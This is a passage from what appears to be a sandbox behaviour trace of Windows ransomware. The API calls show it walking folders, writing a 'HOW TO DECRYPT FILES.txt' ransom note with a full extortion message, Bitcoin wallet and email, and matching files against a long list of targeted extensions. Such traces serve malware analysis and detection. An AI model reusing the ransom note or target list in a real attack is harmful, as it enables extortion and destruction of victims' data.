lpString2="MSB1ENES.ITS") returned -1 [0059.574] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1ENES.ITS") returned -1 [0059.574] lstrcmpiA (lpString1="", lpString2="MSB1ENES.ITS") returned -1 [0059.574] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*") returned="*.*" [0059.574] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\" [0059.574] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\") returned="" [0059.574] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\HOW TO DECRYPT FILES.txt" [0059.574] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\how to decrypt files.txt")) returned 0xffffffff [0059.574] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0059.575] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0059.575] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0059.576] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.576] CloseHandle (hObject=0x90) returned 1 [0059.577] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", lpString2="MSB1ENES.ITS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.ems") returned 0 [0059.577] lstrlenA (lpString="*.ems") returned 5 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.db") returned 0 [0059.577] lstrlenA (lpString="*.db") returned 4 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.dbf") returned 0 [0059.577] lstrlenA (lpString="*.dbf") returned 5 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.myox") returned 0 [0059.577] lstrlenA (lpString="*.myox") returned 6 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.myo") returned 0 [0059.577] lstrlenA (lpString="*.myo") returned 5 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.qbw") returned 0 [0059.577] lstrlenA (lpString="*.qbw") returned 5 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.qbb") returned 0 [0059.577] lstrlenA (lpString="*.qbb") returned 5 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.qbm") returned 0 [0059.577] lstrlenA (lpString="*.qbm") returned 5 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.qbo") returned 0 [0059.577] lstrlenA (lpString="*.qbo") returned 5 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.qbx") returned 0 [0059.577] lstrlenA (lpString="*.qbx") returned 5 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.qba") returned 0 [0059.577] lstrlenA (lpString="*.qba") returned 5 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.qby") returned 0 [0059.577] lstrlenA (lpString="*.qby") returned 5 [0059.577] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.qbj") returned 0 [0059.578] lstrlenA (lpString="*.qbj") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.ofx") returned 0 [0059.578] lstrlenA (lpString="*.ofx") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.qif") returned 0 [0059.578] lstrlenA (lpString="*.qif") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.mye") returned 0 [0059.578] lstrlenA (lpString="*.mye") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.mbox") returned 0 [0059.578] lstrlenA (lpString="*.mbox") returned 6 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.eml") returned 0 [0059.578] lstrlenA (lpString="*.eml") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.pst") returned 0 [0059.578] lstrlenA (lpString="*.pst") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.ost") returned 0 [0059.578] lstrlenA (lpString="*.ost") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.idx") returned 0 [0059.578] lstrlenA (lpString="*.idx") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.dbx") returned 0 [0059.578] lstrlenA (lpString="*.dbx") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.sql") returned 0 [0059.578] lstrlenA (lpString="*.sql") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.mdb") returned 0 [0059.578] lstrlenA (lpString="*.mdb") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.fdb") returned 0 [0059.578] lstrlenA (lpString="*.fdb") returned 5 [0059.578] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.wab") returned 0 [0059.578] lstrlenA (lpString="*.wab") returned 5 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.dat") returned 0 [0059.579] lstrlenA (lpString="*.dat") returned 5 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.txt") returned 0 [0059.579] lstrlenA (lpString="*.txt") returned 5 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.jpeg") returned 0 [0059.579] lstrlenA (lpString="*.jpeg") returned 6 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.jpg") returned 0 [0059.579] lstrlenA (lpString="*.jpg") returned 5 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.png") returned 0 [0059.579] lstrlenA (lpString="*.png") returned 5 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.php") returned 0 [0059.579] lstrlenA (lpString="*.php") returned 5 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.cs") returned 0 [0059.579] lstrlenA (lpString="*.cs") returned 4 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.cpp") returned 0 [0059.579] lstrlenA (lpString="*.cpp") returned 5 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.rar") returned 0 [0059.579] lstrlenA (lpString="*.rar") returned 5 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.zip") returned 0 [0059.579] lstrlenA (lpString="*.zip") returned 5 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.html") returned 0 [0059.579] lstrlenA (lpString="*.html") returned 6 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.htm") returned 0 [0059.579] lstrlenA (lpString="*.htm") returned 5 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.xlsx") returned 0 [0059.579] lstrlenA (lpString="*.xlsx") returned 6 [0059.579] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.xls") returned 0 [0059.580] lstrlenA (lpString="*.xls") returned 5 [0059.580] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.mp4") returned 0 [0059.580] lstrlenA (lpString="*.mp4") returned 5 [0059.580] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.ppt") returned 0 [0059.580] lstrlenA (lpString="*.ppt") returned 5 [0059.580] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.pptx") returned 0 [0059.580] lstrlenA (lpString="*.pptx") returned 6 [0059.580] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.doc") returned 0 [0059.580] lstrlenA (lpString="*.doc") returned 5 [0059.580] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.dot") returned 0 [0059.580] lstrlenA (lpString="*.dot") returned 5 [0059.580] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.docx") returned 0 [0059.580] lstrlenA (lpString="*.docx") returned 6 [0059.580] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.7z") returned 0 [0059.580] lstrlenA (lpString="*.7z") returned 4 [0059.580] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.tar") returned 0 [0059.580] lstrlenA (lpString="*.tar") returned 5 [0059.580] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.bz2") returned 0 [0059.580] lstrlenA (lpString="*.bz2") returned 5 [0059.580] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.gz") returned 0 [0059.580] lstrlenA (lpString="*.gz") returned 4 [0059.580] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.mkv") returned 0 [0059.581] lstrlenA (lpString="*.mkv") returned 5 [0059.581] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.eml") returned 0 [0059.581] lstrlenA (lpString="*.eml") returned 5 [0059.581] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.msg") returned 0 [0059.581] lstrlenA (lpString="*.msg") returned 5 [0059.581] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.edb") returned 0 [0059.581] lstrlenA (lpString="*.edb") returned 5 [0059.581] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.accdb") returned 0 [0059.581] lstrlenA (lpString="*.accdb") returned 7 [0059.581] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.odb") returned 0 [0059.581] lstrlenA (lpString="*.odb") returned 5 [0059.581] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.java") returned 0 [0059.581] lstrlenA (lpString="*.java") returned 6 [0059.581] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.asm") returned 0 [0059.581] lstrlenA (lpString="*.asm") returned 5 [0059.581] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.pfx") returned 0 [0059.581] lstrlenA (lpString="*.pfx") returned 5 [0059.581] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.pem") returned 0 [0059.581] lstrlenA (lpString="*.pem") returned 5 [0059.581] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.p12") returned 0 [0059.581] lstrlenA (lpString="*.p12") returned 5 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.gpg") returned 0 [0059.582] lstrlenA (lpString="*.gpg") returned 5 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.vsd") returned 0 [0059.582] lstrlenA (lpString="*.vsd") returned 5 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.odg") returned 0 [0059.582] lstrlenA (lpString="*.odg") returned 5 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.raw") returned 0 [0059.582] lstrlenA (lpString="*.raw") returned 5 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.nef") returned 0 [0059.582] lstrlenA (lpString="*.nef") returned 5 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.svg") returned 0 [0059.582] lstrlenA (lpString="*.svg") returned 5 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.psd") returned 0 [0059.582] lstrlenA (lpString="*.psd") returned 5 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.vmx") returned 0 [0059.582] lstrlenA (lpString="*.vmx") returned 5 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.vmdk") returned 0 [0059.582] lstrlenA (lpString="*.vmdk") returned 6 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.vdi") returned 0 [0059.582] lstrlenA (lpString="*.vdi") returned 5 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.lay6") returned 0 [0059.582] lstrlenA (lpString="*.lay6") returned 6 [0059.582] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.mpeg") returned 0 [0059.582] lstrlenA (lpString="*.mpeg") returned 6 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.djvu") returned 0 [0059.583] lstrlenA (lpString="*.djvu") returned 6 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.tiff") returned 0 [0059.583] lstrlenA (lpString="*.tiff") returned 6 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.backup") returned 0 [0059.583] lstrlenA (lpString="*.backup") returned 8 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.pdf") returned 0 [0059.583] lstrlenA (lpString="*.pdf") returned 5 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.cert") returned 0 [0059.583] lstrlenA (lpString="*.cert") returned 6 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.docm") returned 0 [0059.583] lstrlenA (lpString="*.docm") returned 6 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.xlsm") returned 0 [0059.583] lstrlenA (lpString="*.xlsm") returned 6 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.dwg") returned 0 [0059.583] lstrlenA (lpString="*.dwg") returned 5 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.nd") returned 0 [0059.583] lstrlenA (lpString="*.nd") returned 4 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.tlg") returned 0 [0059.583] lstrlenA (lpString="*.tlg") returned 5 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.lgb") returned 0 [0059.583] lstrlenA (lpString="*.lgb") returned 5 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.mov") returned 0 [0059.583] lstrlenA (lpString="*.mov") returned 5 [0059.583] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.xdw") returned 0 [0059.584] lstrlenA (lpString="*.xdw") returned 5 [0059.584] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.ods") returned 0 [0059.584] lstrlenA (lpString="*.ods") returned 5 [0059.584] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.wav") returned 0 [0059.584] lstrlenA (lpString="*.wav") returned 5 [0059.584] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.mp3") returned 0 [0059.584] lstrlenA (lpString="*.mp3") returned 5 [0059.584] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.aiff") returned 0 [0059.584] lstrlenA (lpString="*.aiff") returned 6 [0059.584] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.flac") returned 0 [0059.584] lstrlenA (lpString="*.flac") returned 6 [0059.584] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.m4a") returned 0 [0059.584] lstrlenA (lpString="*.m4a") returned 5 [0059.584] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", pszSpec="*.csv") returned 0 [0059.584] lstrlenA (lpString="*.csv") returned 5 [0059.584] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0059.584] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.584] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="ENFR", cAlternateFileName="")) returned 1 [0059.585] lstrcmpA (lpString1=".", lpString2="ENFR") returned -1 [0059.585] lstrcmpA (lpString1="..", lpString2="ENFR") returned -1 [0059.585] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*") returned="*.*" [0059.585] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="ENFR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" [0059.585] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR") returned 60 [0059.585] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.585] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.585] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.585] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.585] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.585] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0059.586] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.586] lstrcmpiA (lpString1="ÊÀÊ 